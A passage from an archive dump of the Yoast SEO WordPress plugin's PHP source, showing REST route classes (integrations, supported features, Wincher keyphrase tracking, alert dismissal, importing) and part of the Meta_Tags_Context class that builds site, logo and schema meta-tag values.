			'methods'             => 'POST',
			'callback'            => [ $this, 'set_integration_active' ],
			'permission_callback' => [ $this, 'can_manage_options' ],
			'args'                => [
				'active' => [
					'type'     => 'boolean',
					'required' => true,
				],
				'integration' => [
					'type'     => 'string',
					'required' => true,
				],
			],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::INTEGRATIONS_ROUTE . self::SET_ACTIVE_ROUTE, $set_active_route );
	}

	/**
	 * Checks if the current user has the right capability.
	 *
	 * @return bool
	 */
	public function can_manage_options() {
		return \current_user_can( 'wpseo_manage_options' );
	}

	/**
	 * Sets integration state.
	 *
	 * @param WP_REST_Request $request The request.
	 *
	 * @return WP_REST_Response
	 */
	public function set_integration_active( WP_REST_Request $request ) {
		$params           = $request->get_json_params();
		$integration_name = $params['integration'];
		$value            = $params['active'];

		$data = $this
			->integrations_action
			->set_integration_active( $integration_name, $value );

		return new WP_REST_Response(
			[ 'json' => $data ]
		);
	}
}
wordpress-seo/src/routes/supported-features-route.php000064400000002436147510273100017203 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Response;
use Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional;
use Yoast\WP\SEO\Main;

/**
 * Supported_Features_Route class.
 */
class Supported_Features_Route implements Route_Interface {

	/**
	 * Represents the supported features route.
	 *
	 * @var string
	 */
	public const SUPPORTED_FEATURES_ROUTE = '/supported-features';

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [
			Addon_Installation_Conditional::class,
		];
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$supported_features_route = [
			'methods'             => 'GET',
			'callback'            => [ $this, 'get_supported_features' ],
			'permission_callback' => '__return_true',
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::SUPPORTED_FEATURES_ROUTE, $supported_features_route );
	}

	/**
	 * Returns a list of features supported by this yoast seo installation.
	 *
	 * @return WP_REST_Response a list of features supported by this yoast seo installation.
	 */
	public function get_supported_features() {
		return new WP_REST_Response(
			[
				'addon-installation' => 1,
			]
		);
	}
}
wordpress-seo/src/routes/wincher-route.php000064400000021400147510273100014771 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Actions\Wincher\Wincher_Account_Action;
use Yoast\WP\SEO\Actions\Wincher\Wincher_Keyphrases_Action;
use Yoast\WP\SEO\Actions\Wincher\Wincher_Login_Action;
use Yoast\WP\SEO\Conditionals\Wincher_Enabled_Conditional;
use Yoast\WP\SEO\Main;

/**
 * Wincher_Route class.
 */
class Wincher_Route implements Route_Interface {

	/**
	 * The Wincher route prefix.
	 *
	 * @var string
	 */
	public const ROUTE_PREFIX = 'wincher';

	/**
	 * The authorize route constant.
	 *
	 * @var string
	 */
	public const AUTHORIZATION_URL_ROUTE = self::ROUTE_PREFIX . '/authorization-url';

	/**
	 * The authenticate route constant.
	 *
	 * @var string
	 */
	public const AUTHENTICATION_ROUTE = self::ROUTE_PREFIX . '/authenticate';

	/**
	 * The track bulk keyphrases route constant.
	 *
	 * @var string
	 */
	public const KEYPHRASES_TRACK_ROUTE = self::ROUTE_PREFIX . '/keyphrases/track';

	/**
	 * The keyphrases route constant.
	 *
	 * @var string
	 */
	public const TRACKED_KEYPHRASES_ROUTE = self::ROUTE_PREFIX . '/keyphrases';

	/**
	 * The untrack keyphrase route constant.
	 *
	 * @var string
	 */
	public const UNTRACK_KEYPHRASE_ROUTE = self::ROUTE_PREFIX . '/keyphrases/untrack';

	/**
	 * The check limit route constant.
	 *
	 * @var string
	 */
	public const CHECK_LIMIT_ROUTE = self::ROUTE_PREFIX . '/account/limit';

	/**
	 * The upgrade campaign route constant.
	 *
	 * @var string
	 */
	public const UPGRADE_CAMPAIGN_ROUTE = self::ROUTE_PREFIX . '/account/upgrade-campaign';

	/**
	 * The login action.
	 *
	 * @var Wincher_Login_Action
	 */
	private $login_action;

	/**
	 * The account action.
	 *
	 * @var Wincher_Account_Action
	 */
	private $account_action;

	/**
	 * The keyphrases action.
	 *
	 * @var Wincher_Keyphrases_Action
	 */
	private $keyphrases_action;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Wincher_Enabled_Conditional::class ];
	}

	/**
	 * Wincher_Route constructor.
	 *
	 * @param Wincher_Login_Action      $login_action      The login action.
	 * @param Wincher_Account_Action    $account_action    The account action.
	 * @param Wincher_Keyphrases_Action $keyphrases_action The keyphrases action.
	 */
	public function __construct(
		Wincher_Login_Action $login_action,
		Wincher_Account_Action $account_action,
		Wincher_Keyphrases_Action $keyphrases_action
	) {
		$this->login_action      = $login_action;
		$this->account_action    = $account_action;
		$this->keyphrases_action = $keyphrases_action;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$authorize_route_args = [
			'methods'             => 'GET',
			'callback'            => [ $this, 'get_authorization_url' ],
			'permission_callback' => [ $this, 'can_use_wincher' ],
		];
		\register_rest_route( Main::API_V1_NAMESPACE, self::AUTHORIZATION_URL_ROUTE, $authorize_route_args );

		$authentication_route_args = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'authenticate' ],
			'permission_callback' => [ $this, 'can_use_wincher' ],
			'args'                => [
				'code' => [
					'validate_callback' => [ $this, 'has_valid_code' ],
					'required'          => true,
				],
				'websiteId' => [
					'validate_callback' => [ $this, 'has_valid_website_id' ],
					'required'          => true,
				],
			],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::AUTHENTICATION_ROUTE, $authentication_route_args );

		$track_keyphrases_route_args = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'track_keyphrases' ],
			'permission_callback' => [ $this, 'can_use_wincher' ],
			'args'                => [
				'keyphrases' => [
					'required'          => true,
				],
			],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::KEYPHRASES_TRACK_ROUTE, $track_keyphrases_route_args );

		$get_keyphrases_route_args = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'get_tracked_keyphrases' ],
			'permission_callback' => [ $this, 'can_use_wincher' ],
			'args'                => [
				'keyphrases' => [
					'required' => false,
				],
				'permalink' => [
					'required' => false,
				],
				'startAt' => [
					'required' => false,
				],
			],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::TRACKED_KEYPHRASES_ROUTE, $get_keyphrases_route_args );

		$delete_keyphrase_route_args = [
			'methods'             => 'DELETE',
			'callback'            => [ $this, 'untrack_keyphrase' ],
			'permission_callback' => [ $this, 'can_use_wincher' ],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::UNTRACK_KEYPHRASE_ROUTE, $delete_keyphrase_route_args );

		$check_limit_route_args = [
			'methods'             => 'GET',
			'callback'            => [ $this, 'check_limit' ],
			'permission_callback' => [ $this, 'can_use_wincher' ],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::CHECK_LIMIT_ROUTE, $check_limit_route_args );

		$get_upgrade_campaign_route_args = [
			'methods'             => 'GET',
			'callback'            => [ $this, 'get_upgrade_campaign' ],
			'permission_callback' => [ $this, 'can_use_wincher' ],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::UPGRADE_CAMPAIGN_ROUTE, $get_upgrade_campaign_route_args );
	}

	/**
	 * Returns the authorization URL.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function get_authorization_url() {
		$data = $this->login_action->get_authorization_url();
		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Authenticates with Wincher.
	 *
	 * @param WP_REST_Request $request The request. This request should have a code param set.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function authenticate( WP_REST_Request $request ) {
		$data = $this
			->login_action
			->authenticate( $request['code'], (string) $request['websiteId'] );

		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Posts keyphrases to track.
	 *
	 * @param WP_REST_Request $request The request. This request should have a code param set.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function track_keyphrases( WP_REST_Request $request ) {
		$limits = $this->account_action->check_limit();

		if ( $limits->status !== 200 ) {
			return new WP_REST_Response( $limits, $limits->status );
		}

		$data = $this->keyphrases_action->track_keyphrases( $request['keyphrases'], $limits );

		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Gets the tracked keyphrases via POST.
	 * This is done via POST, so we don't potentially run into URL limit issues when a lot of long keyphrases are tracked.
	 *
	 * @param WP_REST_Request $request The request. This request should have a code param set.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function get_tracked_keyphrases( WP_REST_Request $request ) {
		$data = $this->keyphrases_action->get_tracked_keyphrases( $request['keyphrases'], $request['permalink'], $request['startAt'] );

		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Untracks the tracked keyphrase.
	 *
	 * @param WP_REST_Request $request The request. This request should have a code param set.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function untrack_keyphrase( WP_REST_Request $request ) {
		$data = $this->keyphrases_action->untrack_keyphrase( $request['keyphraseID'] );

		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Checks the account limit.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function check_limit() {
		$data = $this->account_action->check_limit();
		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Gets the upgrade campaign.
	 * If it's not a free user, no campaign is returned.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function get_upgrade_campaign() {
		$data = $this->account_action->get_upgrade_campaign();
		return new WP_REST_Response( $data, $data->status );
	}

	/**
	 * Checks if a valid code was returned.
	 *
	 * @param string $code The code to check.
	 *
	 * @return bool Whether the code is valid.
	 */
	public function has_valid_code( $code ) {
		return $code !== '';
	}

	/**
	 * Checks if a valid website_id was returned.
	 *
	 * @param int $website_id The website_id to check.
	 *
	 * @return bool Whether the website_id is valid.
	 */
	public function has_valid_website_id( $website_id ) {
		return ! empty( $website_id ) && \is_int( $website_id );
	}

	/**
	 * Whether the current user is allowed to publish post/pages and thus use the Wincher integration.
	 *
	 * @return bool Whether the current user is allowed to use Wincher.
	 */
	public function can_use_wincher() {
		return \current_user_can( 'publish_posts' ) || \current_user_can( 'publish_pages' );
	}
}
wordpress-seo/src/routes/alert-dismissal-route.php000064400000004521147510273100016434 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Actions\Alert_Dismissal_Action;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Main;

/**
 * Class Alert_Dismissal_Route.
 */
class Alert_Dismissal_Route implements Route_Interface {

	use No_Conditionals;

	/**
	 * Represents the alerts route prefix.
	 *
	 * @var string
	 */
	public const ROUTE_PREFIX = 'alerts';

	/**
	 * Represents the dismiss route.
	 *
	 * @var string
	 */
	public const DISMISS_ROUTE = self::ROUTE_PREFIX . '/dismiss';

	/**
	 * Represents the full dismiss route.
	 *
	 * @var string
	 */
	public const FULL_DISMISS_ROUTE = Main::API_V1_NAMESPACE . '/' . self::DISMISS_ROUTE;

	/**
	 * Represents the alert dismissal action.
	 *
	 * @var Alert_Dismissal_Action
	 */
	protected $alert_dismissal_action;

	/**
	 * Constructs Alert_Dismissal_Route.
	 *
	 * @param Alert_Dismissal_Action $alert_dismissal_action The alert dismissal action.
	 */
	public function __construct( Alert_Dismissal_Action $alert_dismissal_action ) {
		$this->alert_dismissal_action = $alert_dismissal_action;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$dismiss_route_args = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'dismiss' ],
			'permission_callback' => [ $this, 'can_dismiss' ],
			'args'                => [
				'key' => [
					'validate_callback' => [ $this->alert_dismissal_action, 'is_allowed' ],
					'required'          => true,
				],
			],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::DISMISS_ROUTE, $dismiss_route_args );
	}

	/**
	 * Dismisses an alert.
	 *
	 * @param WP_REST_Request $request The request. This request should have a key param set.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function dismiss( WP_REST_Request $request ) {
		$success = $this->alert_dismissal_action->dismiss( $request['key'] );
		$status  = $success === ( true ) ? 200 : 400;

		return new WP_REST_Response(
			(object) [
				'success' => $success,
				'status'  => $status,
			],
			$status
		);
	}

	/**
	 * Whether or not the current user is allowed to dismiss alerts.
	 *
	 * @return bool Whether or not the current user is allowed to dismiss alerts.
	 */
	public function can_dismiss() {
		return \current_user_can( 'edit_posts' );
	}
}
wordpress-seo/src/routes/route-interface.php000064400000000413147510273100015273 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use Yoast\WP\SEO\Loadable_Interface;

/**
 * Route interface.
 */
interface Route_Interface extends Loadable_Interface {

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes();
}
wordpress-seo/src/routes/importing-route.php000064400000010106147510273100015343 0ustar00<?php

namespace Yoast\WP\SEO\Routes;

use Exception;
use WP_Error;
use WP_REST_Response;
use Yoast\WP\SEO\Actions\Importing\Importing_Action_Interface;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Exceptions\Importing\Aioseo_Validation_Exception;
use Yoast\WP\SEO\Main;
use Yoast\WP\SEO\Services\Importing\Importable_Detector_Service;

/**
 * Importing_Route class.
 *
 * Importing route for importing from other SEO plugins.
 */
class Importing_Route extends Abstract_Action_Route {

	use No_Conditionals;

	/**
	 * The import route constant.
	 *
	 * @var string
	 */
	public const ROUTE = '/import/(?P<plugin>[\w-]+)/(?P<type>[\w-]+)';

	/**
	 * List of available importers.
	 *
	 * @var Importing_Action_Interface[]
	 */
	protected $importers = [];

	/**
	 * The importable detector service.
	 *
	 * @var Importable_Detector_Service
	 */
	protected $importable_detector;

	/**
	 * Importing_Route constructor.
	 *
	 * @param Importable_Detector_Service $importable_detector The importable detector service.
	 * @param Importing_Action_Interface  ...$importers        All available importers.
	 */
	public function __construct(
		Importable_Detector_Service $importable_detector,
		Importing_Action_Interface ...$importers
	) {
		$this->importable_detector = $importable_detector;
		$this->importers           = $importers;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		\register_rest_route(
			Main::API_V1_NAMESPACE,
			self::ROUTE,
			[
				'callback'            => [ $this, 'execute' ],
				'permission_callback' => [ $this, 'is_user_permitted_to_import' ],
				'methods'             => [ 'POST' ],
			]
		);
	}

	/**
	 * Executes the rest request, but only if the respective action is enabled.
	 *
	 * @param mixed $data The request parameters.
	 *
	 * @return WP_REST_Response|false Response or false on non-existent route.
	 */
	public function execute( $data ) {
		$plugin = (string) $data['plugin'];
		$type   = (string) $data['type'];

		$next_url = $this->get_endpoint( $plugin, $type );

		try {
			$importer = $this->get_importer( $plugin, $type );

			if ( $importer === false || ! $importer->is_enabled() ) {
				return new WP_Error(
					'rest_no_route',
					'Requested importer not found',
					[
						'status' => 404,
					]
				);
			}

			$result = $importer->index();

			if ( $result === false || \count( $result ) === 0 ) {
				$next_url = false;
			}

			return $this->respond_with(
				$result,
				$next_url
			);
		} catch ( Exception $exception ) {
			if ( $exception instanceof Aioseo_Validation_Exception ) {
				return new WP_Error(
					'wpseo_error_validation',
					$exception->getMessage(),
					[ 'stackTrace' => $exception->getTraceAsString() ]
				);
			}

			return new WP_Error(
				'wpseo_error_indexing',
				$exception->getMessage(),
				[ 'stackTrace' => $exception->getTraceAsString() ]
			);
		}
	}

	/**
	 * Gets the right importer for the given arguments.
	 *
	 * @param string $plugin The plugin to import from.
	 * @param string $type   The type of entity to import.
	 *
	 * @return Importing_Action_Interface|false The importer, or false if no importer was found.
	 */
	protected function get_importer( $plugin, $type ) {
		$importers = $this->importable_detector->filter_actions( $this->importers, $plugin, $type );

		if ( \count( $importers ) !== 1 ) {
			return false;
		}

		return \current( $importers );
	}

	/**
	 * Gets the right endpoint for the given arguments.
	 *
	 * @param string $plugin The plugin to import from.
	 * @param string $type   The type of entity to import.
	 *
	 * @return string|false The endpoint for the given action or false on failure of finding the one.
	 */
	public function get_endpoint( $plugin, $type ) {
		if ( empty( $plugin ) || empty( $type ) ) {
			return false;
		}

		return Main::API_V1_NAMESPACE . "/import/{$plugin}/{$type}";
	}

	/**
	 * Whether or not the current user is allowed to import.
	 *
	 * @return bool Whether or not the current user is allowed to import.
	 */
	public function is_user_permitted_to_import() {
		return \current_user_can( 'activate_plugins' );
	}
}
wordpress-seo/src/context/meta-tags-context.php000064400000045707147510273100015725 0ustar00<?php

namespace Yoast\WP\SEO\Context;

use WP_Block_Parser_Block;
use WP_Post;
use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Config\Schema_IDs;
use Yoast\WP\SEO\Config\Schema_Types;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Permalink_Helper;
use Yoast\WP\SEO\Helpers\Schema\ID_Helper;
use Yoast\WP\SEO\Helpers\Site_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;
use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Presentations\Abstract_Presentation;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Class Meta_Tags_Context.
 *
 * Class that contains all relevant data for rendering the meta tags.
 *
 * @property string          $canonical
 * @property string          $permalink
 * @property string          $title
 * @property string          $description
 * @property string          $id
 * @property string          $site_name
 * @property string          $alternate_site_name
 * @property string          $wordpress_site_name
 * @property string          $site_url
 * @property string          $company_name
 * @property string          $company_alternate_name
 * @property int             $company_logo_id
 * @property array           $company_logo_meta
 * @property int             $person_logo_id
 * @property array           $person_logo_meta
 * @property int             $site_user_id
 * @property string          $site_represents
 * @property array|false     $site_represents_reference
 * @property string|string[] $schema_page_type
 * @property string|string[] $schema_article_type      Represents the type of article.
 * @property string          $main_schema_id
 * @property string|array    $main_entity_of_page
 * @property bool            $open_graph_enabled
 * @property string          $open_graph_publisher
 * @property string          $twitter_card
 * @property string          $page_type
 * @property bool            $has_article
 * @property bool            $has_image
 * @property int             $main_image_id
 * @property string          $main_image_url
 */
class Meta_Tags_Context extends Abstract_Presentation {

	/**
	 * The indexable.
	 *
	 * @var Indexable
	 */
	public $indexable;

	/**
	 * The WP Block Parser Block.
	 *
	 * @var WP_Block_Parser_Block[]
	 */
	public $blocks;

	/**
	 * The WP Post.
	 *
	 * @var WP_Post
	 */
	public $post;

	/**
	 * The indexable presentation.
	 *
	 * @var Indexable_Presentation
	 */
	public $presentation;

	/**
	 * Determines whether we have an Article piece. Set to true by the Article piece itself.
	 *
	 * @var bool
	 */
	public $has_article = false;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	private $url;

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	private $image;

	/**
	 * The ID helper.
	 *
	 * @var ID_Helper
	 */
	private $id_helper;

	/**
	 * The WPSEO Replace Vars object.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	private $replace_vars;

	/**
	 * The site helper.
	 *
	 * @var Site_Helper
	 */
	private $site;

	/**
	 * The user helper.
	 *
	 * @var User_Helper
	 */
	private $user;

	/**
	 * The permalink helper.
	 *
	 * @var Permalink_Helper
	 */
	private $permalink_helper;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $indexable_repository;

	/**
	 * Meta_Tags_Context constructor.
	 *
	 * @param Options_Helper       $options              The options helper.
	 * @param Url_Helper           $url                  The url helper.
	 * @param Image_Helper         $image                The image helper.
	 * @param ID_Helper            $id_helper            The schema id helper.
	 * @param WPSEO_Replace_Vars   $replace_vars         The replace vars helper.
	 * @param Site_Helper          $site                 The site helper.
	 * @param User_Helper          $user                 The user helper.
	 * @param Permalink_Helper     $permalink_helper     The permalink helper.
	 * @param Indexable_Helper     $indexable_helper     The indexable helper.
	 * @param Indexable_Repository $indexable_repository The indexable repository.
	 */
	public function __construct(
		Options_Helper $options,
		Url_Helper $url,
		Image_Helper $image,
		ID_Helper $id_helper,
		WPSEO_Replace_Vars $replace_vars,
		Site_Helper $site,
		User_Helper $user,
		Permalink_Helper $permalink_helper,
		Indexable_Helper $indexable_helper,
		Indexable_Repository $indexable_repository
	) {
		$this->options              = $options;
		$this->url                  = $url;
		$this->image                = $image;
		$this->id_helper            = $id_helper;
		$this->replace_vars         = $replace_vars;
		$this->site                 = $site;
		$this->user                 = $user;
		$this->permalink_helper     = $permalink_helper;
		$this->indexable_helper     = $indexable_helper;
		$this->indexable_repository = $indexable_repository;
	}

	/**
	 * Generates the title.
	 *
	 * @return string the title
	 */
	public function generate_title() {
		return $this->replace_vars->replace( $this->presentation->title, $this->presentation->source );
	}

	/**
	 * Generates the description.
	 *
	 * @return string the description
	 */
	public function generate_description() {
		return $this->replace_vars->replace( $this->presentation->meta_description, $this->presentation->source );
	}

	/**
	 * Generates the canonical.
	 *
	 * @return string the canonical
	 */
	public function generate_canonical() {
		return $this->presentation->canonical;
	}

	/**
	 * Generates the permalink.
	 *
	 * @return string
	 */
	public function generate_permalink() {
		if ( ! \is_search() ) {
			return $this->presentation->permalink;
		}

		return \add_query_arg( 's', \rawurlencode( \get_search_query() ), \trailingslashit( $this->site_url ) );
	}

	/**
	 * Generates the id.
	 *
	 * @return string the id
	 */
	public function generate_id() {
		return $this->indexable->object_id;
	}

	/**
	 * Generates the site name.
	 *
	 * @return string The site name.
	 */
	public function generate_site_name() {
		$site_name = $this->options->get( 'website_name', '' );
		if ( $site_name !== '' ) {
			return $site_name;
		}

		return \get_bloginfo( 'name' );
	}

	/**
	 * Generates the alternate site name.
	 *
	 * @return string The alternate site name.
	 */
	public function generate_alternate_site_name() {
		return (string) $this->options->get( 'alternate_website_name', '' );
	}

	/**
	 * Generates the site name from the WordPress options.
	 *
	 * @return string The site name from the WordPress options.
	 */
	public function generate_wordpress_site_name() {
		return $this->site->get_site_name();
	}

	/**
	 * Generates the site url.
	 *
	 * @return string The site url.
	 */
	public function generate_site_url() {
		$home_page_indexable = $this->indexable_repository->find_for_home_page();

		if ( $this->indexable_helper->dynamic_permalinks_enabled() ) {
			return \trailingslashit( $this->permalink_helper->get_permalink_for_indexable( $home_page_indexable ) );
		}

		return \trailingslashit( $home_page_indexable->permalink );
	}

	/**
	 * Generates the company name.
	 *
	 * @return string The company name.
	 */
	public function generate_company_name() {
		/**
		 * Filter: 'wpseo_schema_company_name' - Allows filtering company name
		 *
		 * @param string $company_name.
		 */
		$company_name = \apply_filters( 'wpseo_schema_company_name', $this->options->get( 'company_name' ) );

		if ( empty( $company_name ) ) {
			$company_name = $this->site_name;
		}

		return $company_name;
	}

	/**
	 * Generates the alternate company name.
	 *
	 * @return string
	 */
	public function generate_company_alternate_name() {
		return (string) $this->options->get( 'company_alternate_name' );
	}

	/**
	 * Generates the person logo id.
	 *
	 * @return int|bool The company logo id.
	 */
	public function generate_person_logo_id() {
		$person_logo_id = $this->image->get_attachment_id_from_settings( 'person_logo' );

		if ( empty( $person_logo_id ) ) {
			$person_logo_id = $this->fallback_to_site_logo();
		}

		/**
		 * Filter: 'wpseo_schema_person_logo_id' - Allows filtering person logo id.
		 *
		 * @param int $person_logo_id.
		 */
		return \apply_filters( 'wpseo_schema_person_logo_id', $person_logo_id );
	}

	/**
	 * Retrieve the person logo meta.
	 *
	 * @return array<string|array<int>>|bool
	 */
	public function generate_person_logo_meta() {
		$person_logo_meta = $this->image->get_attachment_meta_from_settings( 'person_logo' );

		if ( empty( $person_logo_meta ) ) {
			$person_logo_id   = $this->fallback_to_site_logo();
			$person_logo_meta = $this->image->get_best_attachment_variation( $person_logo_id );
		}

		/**
		 * Filter: 'wpseo_schema_person_logo_meta' - Allows filtering person logo meta.
		 *
		 * @param string $person_logo_meta.
		 */
		return \apply_filters( 'wpseo_schema_person_logo_meta', $person_logo_meta );
	}

	/**
	 * Generates the company logo id.
	 *
	 * @return int|bool The company logo id.
	 */
	public function generate_company_logo_id() {
		$company_logo_id = $this->image->get_attachment_id_from_settings( 'company_logo' );

		if ( empty( $company_logo_id ) ) {
			$company_logo_id = $this->fallback_to_site_logo();
		}

		/**
		 * Filter: 'wpseo_schema_company_logo_id' - Allows filtering company logo id.
		 *
		 * @param int $company_logo_id.
		 */
		return \apply_filters( 'wpseo_schema_company_logo_id', $company_logo_id );
	}

	/**
	 * Retrieve the company logo meta.
	 *
	 * @return array<string|array<int>>|bool
	 */
	public function generate_company_logo_meta() {
		$company_logo_meta = $this->image->get_attachment_meta_from_settings( 'company_logo' );

		/**
		 * Filter: 'wpseo_schema_company_logo_meta' - Allows filtering company logo meta.
		 *
		 * @param string $company_logo_meta.
		 */
		return \apply_filters( 'wpseo_schema_company_logo_meta', $company_logo_meta );
	}

	/**
	 * Generates the site user id.
	 *
	 * @return int The site user id.
	 */
	public function generate_site_user_id() {
		return (int) $this->options->get( 'company_or_person_user_id', false );
	}

	/**
	 * Determines what our site represents, and grabs their values.
	 *
	 * @return string|false Person or company. False if invalid value.
	 */
	public function generate_site_represents() {
		switch ( $this->options->get( 'company_or_person', false ) ) {
			case 'company':
				// Do not use a non-named company.
				if ( empty( $this->company_name ) ) {
					return false;
				}

				/*
				 * Do not use a company without a logo.
				 * The logic check is on `< 1` instead of `false` due to how `get_attachment_id_from_settings` works.
				 */
				if ( $this->company_logo_id < 1 ) {
					return false;
				}

				return 'company';
			case 'person':
				// Do not use a non-existing user.
				if ( $this->site_user_id !== false && \get_user_by( 'id', $this->site_user_id ) === false ) {
					return false;
				}

				return 'person';
		}

		return false;
	}

	/**
	 * Returns the site represents reference.
	 *
	 * @return array<string>|bool The site represents reference. False if none.
	 */
	public function generate_site_represents_reference() {
		if ( $this->site_represents === 'person' ) {
			return [ '@id' => $this->id_helper->get_user_schema_id( $this->site_user_id, $this ) ];
		}
		if ( $this->site_represents === 'company' ) {
			return [ '@id' => $this->site_url . Schema_IDs::ORGANIZATION_HASH ];
		}

		return false;
	}

	/**
	 * Returns whether or not open graph is enabled.
	 *
	 * @return bool Whether or not open graph is enabled.
	 */
	public function generate_open_graph_enabled() {
		return $this->options->get( 'opengraph' ) === true;
	}

	/**
	 * Returns the open graph publisher.
	 *
	 * @return string The open graph publisher.
	 */
	public function generate_open_graph_publisher() {
		if ( $this->site_represents === 'company' ) {
			return $this->options->get( 'facebook_site', '' );
		}
		if ( $this->site_represents === 'person' ) {
			return $this->user->get_the_author_meta( 'facebook', $this->site_user_id );
		}

		return $this->options->get( 'facebook_site', '' );
	}

	/**
	 * Returns the twitter card type.
	 *
	 * @return string The twitter card type.
	 */
	public function generate_twitter_card() {
		return 'summary_large_image';
	}

	/**
	 * Returns the schema page type.
	 *
	 * @return string|array<string> The schema page type.
	 */
	public function generate_schema_page_type() {
		switch ( $this->indexable->object_type ) {
			case 'system-page':
				switch ( $this->indexable->object_sub_type ) {
					case 'search-result':
						$type = [ 'CollectionPage', 'SearchResultsPage' ];
						break;
					default:
						$type = 'WebPage';
				}
				break;
			case 'user':
				$type = 'ProfilePage';
				break;
			case 'home-page':
			case 'date-archive':
			case 'term':
			case 'post-type-archive':
				$type = 'CollectionPage';
				break;
			default:
				$additional_type = $this->indexable->schema_page_type;
				if ( \is_null( $additional_type ) ) {
					$additional_type = $this->options->get( 'schema-page-type-' . $this->indexable->object_sub_type );
				}

				$type = [ 'WebPage', $additional_type ];

				// Is this indexable set as a page for posts, e.g. in the WordPress reading settings as a static homepage?
				if ( (int) \get_option( 'page_for_posts' ) === $this->indexable->object_id ) {
					$type[] = 'CollectionPage';
				}

				// Ensure we get only unique values, and remove any null values and the index.
				$type = \array_filter( \array_values( \array_unique( $type ) ) );
		}

		/**
		 * Filter: 'wpseo_schema_webpage_type' - Allow changing the WebPage type.
		 *
		 * @param string|array $type The WebPage type.
		 */
		return \apply_filters( 'wpseo_schema_webpage_type', $type );
	}

	/**
	 * Returns the schema article type.
	 *
	 * @return string|array<string> The schema article type.
	 */
	public function generate_schema_article_type() {
		$additional_type = $this->indexable->schema_article_type;
		if ( \is_null( $additional_type ) ) {
			$additional_type = $this->options->get( 'schema-article-type-' . $this->indexable->object_sub_type );
		}

		/** This filter is documented in inc/options/class-wpseo-option-titles.php */
		$allowed_article_types = \apply_filters( 'wpseo_schema_article_types', Schema_Types::ARTICLE_TYPES );

		if ( ! \array_key_exists( $additional_type, $allowed_article_types ) ) {
			$additional_type = $this->options->get_title_default( 'schema-article-type-' . $this->indexable->object_sub_type );
		}

		// If the additional type is a subtype of Article, we're fine, and we can bail here.
		if ( \stripos( $additional_type, 'Article' ) !== false ) {
			/**
			 * Filter: 'wpseo_schema_article_type' - Allow changing the Article type.
			 *
			 * @param string|string[] $type      The Article type.
			 * @param Indexable       $indexable The indexable.
			 */
			return \apply_filters( 'wpseo_schema_article_type', $additional_type, $this->indexable );
		}

		$type = 'Article';

		/*
		 * If `None` is set (either on the indexable or as a default), set type to 'None'.
		 * This simplifies is_needed checks downstream.
		 */
		if ( $additional_type === 'None' ) {
			$type = $additional_type;
		}

		if ( $additional_type !== $type ) {
			$type = [ $type, $additional_type ];
		}

		// Filter documented on line 499 above.
		return \apply_filters( 'wpseo_schema_article_type', $type, $this->indexable );
	}

	/**
	 * Returns the main schema id.
	 *
	 * The main schema id.
	 *
	 * @return string
	 */
	public function generate_main_schema_id() {
		return $this->permalink;
	}

	/**
	 * Retrieves the main image URL. This is the featured image by default.
	 *
